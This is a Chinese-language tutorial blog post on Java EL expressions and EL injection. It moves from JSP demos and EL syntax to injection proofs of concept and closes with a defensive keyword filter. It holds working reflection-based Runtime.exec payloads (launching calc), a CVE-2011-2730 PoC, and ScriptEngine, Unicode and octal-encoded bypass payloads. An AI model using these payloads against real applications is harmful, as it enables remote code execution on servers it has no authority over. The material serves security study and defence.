前言
参考:
https://drun1baby.top/2022/09/23/Java-%E4%B9%8B-EL-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/
动态jsp Demo
准备一个实体类
package com.example.learnservlet.pojo;
public class Band {
    private Integer id;
    private String bandName;
    private String AnimationName;
    private Integer ordered;
    private String description;
    private Integer status;
    public Band() {
    }
    public Band(Integer id, String bandName, String AnimationName, String description) {
        this.id = id;
        this.bandName = bandName;
        this.AnimationName = AnimationName;
        this.description = description;
    }
    public Band(Integer id, String bandName, String AnimationName, Integer ordered, String description, Integer status) {
        this.id = id;
        this.bandName = bandName;
        this.AnimationName = AnimationName;
        this.ordered = ordered;
        this.description = description;
        this.status = status;
    }
    public Integer getId() {
        return id;
    }
    public void setId(Integer id) {
        this.id = id;
    }
    public String getBandName() {
        return bandName;
    }
    public void setBandName(String bandName) {
        this.bandName = bandName;
    }
    public String getAnimationName() {
        return AnimationName;
    }
    public void setAnimationName(String animationName) {
        AnimationName = animationName;
    }
    public Integer getOrdered() {
        return ordered;
    }
    public void setOrdered(Integer ordered) {
        this.ordered = ordered;
    }
    public String getDescription() {
        return description;
    }
    public void setDescription(String description) {
        this.description = description;
    }
    public Integer getStatus() {
        return status;
    }
    public void setStatus(Integer status) {
        this.status = status;
    }
    @Override
    public String toString() {
        return "Band{" +
                "id=" + id +
                ", bandName='" + bandName + '\'' +
                ", AnimationName='" + AnimationName + '\'' +
                ", ordered=" + ordered +
                ", description='" + description + '\'' +
                ", status=" + status +
                '}';
    }
}然后准备动态的jsp代码band.jsp
<%@ page import="com.example.learnservlet.pojo.Band" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    // 查询数据库
    List<Band> brands = new ArrayList<Band>();
    brands.add(new Band(1,"结束乐队","孤独摇滚",100,"Guitar Hero",1));
    brands.add(new Band(2,"MyGO!!!!!","BanGDream It's MyGO!!!!!",200,"为什么要演奏春日影!",1));
    brands.add(new Band(3,"有刺无刺","Girls Band Cry",1000,"凸😄凸",0));
%>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>看少女乐队看的</title>
</head>
<body>
<input type="button" value="新增"><br>
<hr>
<table border="1" cellspacing="0" width="800">
    <tr>
        <th>序号</th>
        <th>乐队名称</th>
        <th>动画名称</th>
        <th>排序</th>
        <th>介绍</th>
        <th>状态</th>
        <th>操作</th>
    </tr>
    <%
        for (int i = 0; i < brands.size(); i++) {
            Band brand = brands.get(i);
    %>
    <tr align="center">
        <td><%=brand.getId()%></td>
        <td><%=brand.getBandName()%></td>
        <td><%=brand.getAnimationName()%></td>
        <td><%=brand.getOrdered()%></td>
        <td><%=brand.getDescription()%></td>
        <td><%=brand.getStatus() == 1 ? "完结":"在追"%></td>
        <td><a href="#">修改</a> <a href="#">删除</a></td>
    </tr>
    <%
        }
    %>
</table>
</body>
</html>以上就是动态jsp的实现

EL
可以理解为简化的 Jsp
EL(Expression Language)功能:
- 获取数据:EL表达式主要用于替换 JSP 页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组)
- 执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如${user==null}
- 获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据
- 调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法
用法:
先通过 page 标签设置不忽略 EI 表达式
<%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>基本语法
${EL表达式}EL表达式和JSP代码等价转换
[ ]与.运算符
EL表达式提供.和[]两种运算符来存取数据
当要存取的属性名称中包含一些特殊字符,如.或-等并非字母或数字的符号,就一定要使用[]
eg:${user.My-Name}应当改为${user["My-Name"]}
如果要动态取值时,就可以用[]来做,而.无法做到动态取值
eg:${sessionScope.user[data]}中 data 是一个变量
empty
empty 用来判断 EL 表达式中的对象或者变量是否为空。若为空或者 null,返回 true,否则返回 false
条件表达式
${条件表达式?表达式1:表达式2}变量
以${username}为例,意思是取出某一范围中名称为 username 的变量。
因为我们并没有指定哪一个范围的username,所以它会依序从 Page、Request、Session、Application 范围查找。假如途中找到username,就直接回传,不再继续找下去,但是假如全部的范围都没有找到时,就回传""。(注意是空字符串)
EL表达式属性:可以对应jsp中的对象
| 属性范围在EL中的名称 | |
|---|---|
| Page | PageScope | 
| Request | RequestScope | 
| Session | SessionScope | 
| Application | ApplicationScope | 
这四个域对象的作用范围如下图:

Demo
现在定义一个Servlet
转发的作用:通过转发,我们才可以使用 request 对象作为域对象进行数据共享
package com.example.learnservlet;
import com.example.learnservlet.pojo.Band;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
@WebServlet("/ElDemo1")
public class ElDemo extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        //1. 准备数据
        List<Band> bands = new ArrayList<Band>();
        bands.add(new Band(1,"结束乐队","孤独摇滚",100,"Guitar Hero",1));
        bands.add(new Band(2,"MyGO!!!!!","BanGDream It's MyGO!!!!!",200,"为什么要演奏春日影!",1));
        bands.add(new Band(3,"有刺无刺","Girls Band Cry",1000,"凸😄凸",0));
        //2. 存储到request域中
        request.setAttribute("bands",bands);
        //3. 转发到 el-demo.jsp
        request.getRequestDispatcher("/el-demo.jsp").forward(request,response);
    }
    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doGet(request, response);
    }
}el-demo.jsp,这里通过EL表达式获取数据
<%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>EL Demo</title>
</head>
<body>
<table>
    <tr>${bands}</tr>
</table>
</body>
</html>然后访问/ElDemo1接口,是可以访问到数据的

操作符
JSP 表达式语言提供以下操作符,其中大部分是 Java 中常用的操作符:
| 术语 | 定义 | 
|---|---|
| 算术型 | +、-(二元)、*、/、div、%、mod、-(一元) | 
| 逻辑型 | and、&&、or、双管道符、!、not | 
| 关系型 | ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。 | 
| 空 | empty 空操作符是前缀操作,可用于确定值是否为空。 | 
| 条件型 | A ?B :C。根据 A 赋值的结果来赋值 B 或 C。 | 
隐式对象
JSP 表达式语言定义了一组隐式对象,其中许多对象在 JSP scriplet 和表达式中可用:
| 术语 | 定义 | 
|---|---|
| pageContext | JSP页的上下文,可以用于访问 JSP 隐式对象,如请求、响应、会话、输出、servletContext 等。例如, ${pageContext.response}为页面的响应对象赋值。 | 
此外,还提供几个隐式对象,允许对以下对象进行简易访问:
| 术语 | 定义 | 
|---|---|
| param | 将请求参数名称映射到单个字符串参数值(通过调用 ServletRequest.getParameter (String name) 获得)。getParameter (String) 方法返回带有特定名称的参数。表达式 ${param.name}相当于request.getParameter (name)。 | 
| paramValues | 将请求参数名称映射到一个数值数组(通过调用 ServletRequest.getParameter (String name) 获得)。它与 param 隐式对象非常类似,但它检索一个字符串数组而不是单个值。表达式 ${paramvalues. name}相当于request.getParamterValues(name)。 | 
| header | 将请求头名称映射到单个字符串头值(通过调用 ServletRequest.getHeader(String name) 获得)。表达式 ${header.name}相当于request.getHeader(name)。 | 
| headerValues | 将请求头名称映射到一个数值数组(通过调用 ServletRequest.getHeaders(String) 获得)。它与头隐式对象非常类似。表达式 ${headerValues.name}相当于request.getHeaderValues(name)。 | 
| cookie | 将 cookie 名称映射到单个 cookie 对象。向服务器发出的客户端请求可以获得一个或多个 cookie。表达式 ${cookie.name.value}返回带有特定名称的第一个 cookie 值。如果请求包含多个同名的 cookie,则应该使用${headerValues.name}表达式。 | 
| initParam | 将上下文初始化参数名称映射到单个值(通过调用 ServletContext.getInitparameter(String name) 获得)。 | 
除了上述两种类型的隐式对象之外,还有些对象允许访问多种范围的变量,如 Web 上下文、会话、请求、页面:
| 术语 | 定义 | 
|---|---|
| pageScope | 将页面范围的变量名称映射到其值。例如,EL 表达式可以使用 ${pageScope.objectName}访问一个 JSP 中页面范围的对象,还可以使用${pageScope .objectName. attributeName}访问对象的属性。 | 
| requestScope | 将请求范围的变量名称映射到其值。该对象允许访问请求对象的属性。例如,EL 表达式可以使用 ${requestScope. objectName}访问一个 JSP 请求范围的对象,还可以使用${requestScope. objectName. attributeName}访问对象的属性。 | 
| sessionScope | 将会话范围的变量名称映射到其值。该对象允许访问会话对象的属性。例如: ${sessionScope. name} | 
| applicationScope | 将应用程序范围的变量名称映射到其值。该隐式对象允许访问应用程序范围的对象。 | 
用一个demo来看一下:
<%@ page import="java.io.*,java.util.*" %>
<%
    String title = "Accessing Request Param";
%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title><% out.print(title); %></title>
</head>
<body>
<h3>通过访问 pageContext 对象来访问 request 对象,例如访问request对象传入的查询字符串</h3>
${pageContext.request.queryString}
<br>
<h3>Scope 对象</h3>
<!--pageContext没有对应方法的请导入tomcat lib目录下的jsp-api.jar-->
<%
    pageContext.setAttribute("name","nina");
    request.setAttribute("name","momoka");
    session.setAttribute("user","tomo");
    application.setAttribute("user","rupa");
%>
pageScope.name:${pageScope.name}
<br>
requestScope.name : ${requestScope.name}
<br>
sessionScope.user : ${sessionScope.user}
<br>
applicationScope.user : ${applicationScope.user}
<br>
<h3>param 和 paramValues 对象</h3>
<p>${param["username"]}</p>
<br>
<h3>header 和 headerValues 对象</h3>
<p>${header["user-agent"]}</p>
</body>
</html>
EL中的函数
EL允许您在表达式中使用函数。这些函数必须被定义在自定义标签库中。函数的使用语法如下:
${ns:func(param1, param2, ...)}ns 指的是命名空间(namespace),func 指的是函数的名称,param1 指的是第一个参数,param2 指的是第二个参数,以此类推。比如,有函数 fn:length,在 JSTL 库中定义,可以像下面这样来获取一个字符串的长度:
${fn:length("Get my length")}要使用任何标签库中的函数,您需要将这些库安装在服务器中,然后使用 <taglib> 标签在 JSP 文件中包含这些库。
调用Java方法
直接看demo
先新建一个 ELFunc 类,其中定义的 doSomething() 方法用于给输入的参数字符拼接 ".com" 形成域名返回:
package com.example.learnservlet;
public class ELFunc {
    public static String doSomething(String str){
        return str + ".com";
    }
}接着在 WEB-INF 文件夹下(除 lib 和 classess 目录外)新建 test.tld 文件,其中指定执行的 Java 方法及其 URI 地址:
<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
    <tlib-version>1.0</tlib-version>
    <short-name>ELFunc</short-name>
    <uri>http://localhost/ELFunc</uri>
    <function>
        <name>doSomething</name>
        <function-class>com.example.learnservlet.ELFunc</function-class>
        <function-signature> java.lang.String doSomething(java.lang.String)</function-signature>
    </function>
</taglib>JSP 文件中,先头部导入 taglib 标签库,URI 为 test.tld 中设置的 URI 地址,prefix 为 test.tld 中设置的 short-name,然后直接在 EL 表达式中使用 类名:方法名() 的形式来调用该类方法即可:
<%@taglib uri="http://localhost/ELFunc" prefix="ELFunc"%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
${ELFunc:doSomething("0w0")}
</body>
</html>
启动/禁用EL表达式
全局禁用EL表达式
web.xml 中进入如下配置:
<jsp-config>
    <jsp-property-group>
        <url-pattern>*.jsp</url-pattern>
        <el-ignored>true</el-ignored>
    </jsp-property-group>
</jsp-config>单个文件禁用EL表达式
在JSP文件中可以有如下定义:
<%@ page isELIgnored="true" %>该语句表示是否禁用EL表达式,TRUE 表示禁止,FALSE 表示不禁止
JSP2.0 中默认的启用EL表达式
注入
表达式外部可控导致攻击者注入恶意表达式实现任意代码执行
通用poc
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}
//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
//文件头参数
${header}
//获取webRoot
${applicationScope}
//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}漏洞场景
比如这里有一个参数 a 是可控的,并且可以直接插入到 JSP 代码中,这种场景是非常常见的
举个简单的例子,如果登录界面,username 可控,并且判断不严格的情况下,就可以造成这种攻击:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}
</body>
</html>
实际场景中,是几乎没有也无法直接从外部控制 JSP 页面中的 EL表达式的。而目前已知的 EL表达式注入漏洞都是框架层面服务端执行的 EL表达式外部可控导致的
CVE-2011-2730
poc:
<spring:message text="${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}"></spring:message>JUEL
EL 曾经是
JSTL的一部分。然后,EL 进入了 JSP 2.0 标准。现在,尽管是 JSP 2.1 的一部分,但 EL API 已被分离到包javax.el中, 并且已删除了对核心 JSP 类的所有依赖关系。换句话说:EL 已准备好在非 JSP 应用程序中使用
也就是说,现在 EL 表达式所依赖的包 javax.el 等都在 JUEL 相关的 jar 包中
需要的 jar 包:juel-api-2.2.7、juel-spi-2.2.7、juel-impl-2.2.7
juelExec.java
package com.example.learnservlet;  
  
import de.odysseus.el.ExpressionFactoryImpl;  
import de.odysseus.el.util.SimpleContext;  
  
import javax.el.ExpressionFactory;  
import javax.el.ValueExpression;  
  
public class juelExec {  
    public static void main(String[] args) {  
        ExpressionFactory expressionFactory = new ExpressionFactoryImpl();  
        SimpleContext simpleContext = new SimpleContext();  
        // failed  
 // String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}"; // ok String exp = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}";  
        ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);  
        System.out.println(valueExpression.getValue(simpleContext));  
    }  
}绕过
利用反射机制
即前面的payload,注意一点的就是这里不支持用字符串拼接的方式绕过关键字过滤
利用ScriptEngine调用JS引擎
ScriptEngineExec.java
package com.example.learnservlet;  
  
import de.odysseus.el.ExpressionFactoryImpl;  
import de.odysseus.el.util.SimpleContext;  
  
import javax.el.ExpressionFactory;  
import javax.el.ValueExpression;  
  
public class ScriptEngineExec {  
    public static void main(String[] args) {  
        ExpressionFactory expressionFactory = new ExpressionFactoryImpl();  
        SimpleContext simpleContext = new SimpleContext();  
        // failed  
 // String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}"; // ok String exp = "${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('Calc.exe')\")}\n" +  
                " ";  
        ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);  
        System.out.println(valueExpression.getValue(simpleContext));  
    }  
}payload:
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}利用Unicode编码绕过
\u0024\u007b\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0065\u0078\u0065\u0063\u0027\u002c\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006e\u0075\u006c\u006c\u0029\u002c\u0027\u0063\u0061\u006c\u0063\u002e\u0065\u0078\u0065\u0027\u0029\u007d利用八进制绕过
构造脚本:
str = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}"
result = ""
for s in str:
  num = "\\" + oct(ord(s))
  result += num
print(result.replace("\\0", "\\"))payload:
\44\173\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\145\170\145\143\47\54\47\47\56\147\145\164\103\154\141\163\163\50\51\51\56\151\156\166\157\153\145\50\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\147\145\164\122\165\156\164\151\155\145\47\51\56\151\156\166\157\153\145\50\156\165\154\154\51\54\47\143\141\154\143\56\145\170\145\47\51\175防御
过滤关键字:
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.util.regex.Pattern;
public class ELInjectionFilter implements Filter {
    // Regex pattern to detect potential EL injections
    private static final Pattern EL_INJECTION_PATTERN = Pattern.compile("\\$\\{[^}]+\\}");
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        // Initialization code if necessary
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        if (request instanceof HttpServletRequest) {
            HttpServletRequest httpRequest = (HttpServletRequest) request;
            // Check query parameters
            for (String param : httpRequest.getParameterMap().keySet()) {
                String[] values = httpRequest.getParameterValues(param);
                for (String value : values) {
                    if (isPotentialELInjection(value)) {
                        throw new ServletException("Potential EL injection detected in parameter: " + param);
                    }
                }
            }
            // Check headers
            for (String header : httpRequest.getHeaderNames()) {
                String headerValue = httpRequest.getHeader(header);
                if (isPotentialELInjection(headerValue)) {
                    throw new ServletException("Potential EL injection detected in header: " + header);
                }
            }
        }
        // Continue with the filter chain
        chain.doFilter(request, response);
    }
    @Override
    public void destroy() {
        // Cleanup code if necessary
    }
    // Method to check if a value contains potential EL injection patterns
    private boolean isPotentialELInjection(String value) {
        return EL_INJECTION_PATTERN.matcher(value).find();
    }
}web.xml配置
<filter>
    <filter-name>ELInjectionFilter</filter-name>
    <filter-class>com.example.filters.ELInjectionFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>ELInjectionFilter</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>EL_INJECTION_PATTERN:使用正则表达式\\$\\{[^}]+\\}来检测EL表达式注入的模式。
doFilter方法:
- 检查请求参数和请求头中的值是否包含潜在的EL注入模式。
- 如果检测到潜在的EL注入,抛出ServletException,阻止请求继续处理。
init和destroy方法:这些方法用于在过滤器的初始化和销毁时执行任何必要的代码。
如果是排查Java程序中JUEL相关代码,则搜索如下关键类方法:
javax.el.ExpressionFactory.createValueExpression()
javax.el.ValueExpression.getValue()